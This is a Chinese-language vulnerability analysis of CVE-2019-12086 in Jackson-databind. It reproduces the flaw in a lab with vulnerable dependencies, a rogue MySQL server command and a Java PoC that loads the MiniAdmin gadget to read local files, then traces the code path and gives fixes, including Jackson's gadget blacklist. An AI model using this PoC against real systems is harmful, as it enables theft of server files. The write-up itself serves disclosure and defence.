影响范围
Jackson 2.x系列 < 2.9.9
漏洞类型
反序列化导致任意文件读取
利用条件
-
开启Default Typing
-
目标环境中存在8.0.14版本以下的MySQL驱动,即mysql-connector-java版本 < 8.0.14
漏洞概述
在开启DefaultTyping的情况下,jackson在反序列化json时,可以指定反序列化类,且可以指定一个基础类型的值作为这个类的构造函数的参数的值。
com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库,在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,恶意MySQL服务器可以读取MySQL客户端的任意本地文件,从而导致漏洞产生。
漏洞复现
环境搭建
pom.xml
<dependencies><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.9.2</version></dependency><!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind --><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.9.2</version></dependency><!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java --><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.14</version></dependency></dependencies>
漏洞利用
启动恶意Mysql服务
下载恶意的MySQL服务器启动脚本(https://github.com/allyshka/Rogue-MySql-Server),之后修改脚本中的filelist文件,指定要读取的文件路径:
之后运行脚本,并核对是否开启3306端口:
python rogue_mysql_server.py \\\"C:/Windows/win.ini\\\"

执行漏洞POC
package com.jacksonTest;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc {public static void main(String[] args) throws Exception{ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();String json=\\\"[\\\\\\\"com.mysql.cj.jdbc.admin.MiniAdmin\\\\\\\",\\\\\\\"jdbc:mysql://127.0.0.1:3306/foo\\\\\\\"]\\\";try {mapper.readValue(json, Object.class);}catch(IOException e){e.printStackTrace();}}}

漏洞分析
知识拓展
LOAD DATA LOCAL
MySQL支持使用LOAD DATA LOCAL INFILE语法,即可将客户端本地的文件中的数据insert到MySQL的某张表中。
协议的工作过程大致如下:
-
用户在客户端输入:load data local file “/data.txt” into table test;
-
客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
-
服务端->客户端:把你本地的/data.txt文件发给我;
-
客户端->服务端:/data.txt文件的内容;
问题在于,客户端发送哪个文件的内容,取决于第三步即服务端响应的想要的哪个文件,如果服务端是个恶意的MySQL,那么它可以读取客户端的任意文件内容,比如读取/etc/passwd:
-
用户在客户端输入:load data local file “/data.txt” into table test;
-
客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
-
服务端->客户端:把你本地的/etc/passwd文件发给我;
-
客户端->服务端:/etc/passwd文件的内容;
而且,在大部分客户端(比如MySQL Connect/J)的实现里,第一步和第二部并非是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在建立连接之后,都会有一些查询服务器配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL服务器的连接,那么客户端所在的服务器上的所有文件都可能泄露。
allowLoadLocalInfile
allowLoadLocalInfile是MySQL的JDBC驱动的一个创建连接的配置项,用来控制是否允许从本地读取文件,默认值为True。
源码分析
在mapper.readValue处下断点进行调试分析:

之后一路调试到UntypedObjectDeserializer.deserializeWithType()函数,其中会调用AsArrayTypeDeserializer.deserializeTypedFromAny()函数来解析我们数组形式的JSON内容:


继续往下调试,发现会调用BeanDeserializerBase.deserializeFromString()函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:

之后继续跟进查看StdValueInstantiator.createFromString()函数,此时_fromStringCreator变量为AnnotatedConstructor类实例,参数value值为jdbc:127.0.0.1:3306/foo,接着就是调用AnnotatedConstructor.call1():

跟进去发现调用了Constructor.newInstance()方法来创建新的实例:

之后调用重载的构造函数MiniAdmin(),在该函数中会新建一个Driver示例并调用实例的connect方法,且以jdbcurl和props(类)为参数:

之后一路跟进,会调用NonRegisteringDriver.class中的connect方法进行连接初始化操作:
之后会去解析连接:
最后连接恶意Mysql服务器,并将本地客户端的敏感文件上传到恶意服务器端,从而造成任意文件读取~
修复建议
1、MySQL Connector/J的修复:
MySQL Connector/J从8.0.15版本开始将allowLoadLocalInfile默认值设置为false:
https://dev.mysql.com/doc/relnotes/connector-j/8.0/en/news-8-0-15.html
2、Jackson的修复:
从2.9.9版本开始,Jackson将”com.mysql.cj.jdbc.admin.MiniAdmin”加入到反序列化黑名单中:
static {Set<String> s = new HashSet<String>();// Courtesy of [https://github.com/kantega/notsoserial]:// (and wrt [databind#1599])s.add(\\\"org.apache.commons.collections.functors.InvokerTransformer\\\");s.add(\\\"org.apache.commons.collections.functors.InstantiateTransformer\\\");s.add(\\\"org.apache.commons.collections4.functors.InvokerTransformer\\\");s.add(\\\"org.apache.commons.collections4.functors.InstantiateTransformer\\\");s.add(\\\"org.codehaus.groovy.runtime.ConvertedClosure\\\");s.add(\\\"org.codehaus.groovy.runtime.MethodClosure\\\");s.add(\\\"org.springframework.beans.factory.ObjectFactory\\\");s.add(\\\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\\\");s.add(\\\"org.apache.xalan.xsltc.trax.TemplatesImpl\\\");// [databind#1680]: may or may not be problem, take no chances.add(\\\"com.sun.rowset.JdbcRowSetImpl\\\");// [databind#1737]; JDK provideds.add(\\\"java.util.logging.FileHandler\\\");s.add(\\\"java.rmi.server.UnicastRemoteObject\\\");// [databind#1737]; 3rd party//s.add(\\\"org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor\\\"); // deprecated by [databind#1855]s.add(\\\"org.springframework.beans.factory.config.PropertyPathFactoryBean\\\");// s.add(\\\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\\\"); // deprecated by [databind#1931]// s.add(\\\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\\\"); // - \\\"\\\" -// [databind#1855]: more 3rd partys.add(\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\");s.add(\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\");// [databind#1899]: more 3rd partys.add(\\\"org.hibernate.jmx.StatisticsService\\\");s.add(\\\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\\\");// [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entitiess.add(\\\"org.apache.ibatis.parsing.XPathParser\\\");// [databind#2052]: Jodd-db, with jndi/ldap lookups.add(\\\"jodd.db.connection.DataSourceConnectionProvider\\\");// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookups.add(\\\"oracle.jdbc.connector.OracleManagedConnectionFactory\\\");s.add(\\\"oracle.jdbc.rowset.OracleJDBCRowSet\\\");// [databind#2097]: some 3rd party, one JDK-bundleds.add(\\\"org.slf4j.ext.EventData\\\");s.add(\\\"flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor\\\");s.add(\\\"com.sun.deploy.security.ruleset.DRSHelper\\\");s.add(\\\"org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl\\\");// [databind#2186]: yet more 3rd party gadgetss.add(\\\"org.jboss.util.propertyeditor.DocumentEditor\\\");s.add(\\\"org.apache.openjpa.ee.RegistryManagedRuntime\\\");s.add(\\\"org.apache.openjpa.ee.JNDIManagedRuntime\\\");s.add(\\\"org.apache.axis2.transport.jms.JMSOutTransportInfo\\\");// [databind#2326] (2.9.9): one more 3rd party gadgets.add(\\\"com.mysql.cj.jdbc.admin.MiniAdmin\\\");DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);}
参考链接
https://www.cnblogs.com/xinzhao/p/11005419.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12086
https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.9.9
https://github.com/FasterXML/jackson-databind/issues/2326
https://nvd.nist.gov/vuln/detail/CVE-2019-12086
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34325.html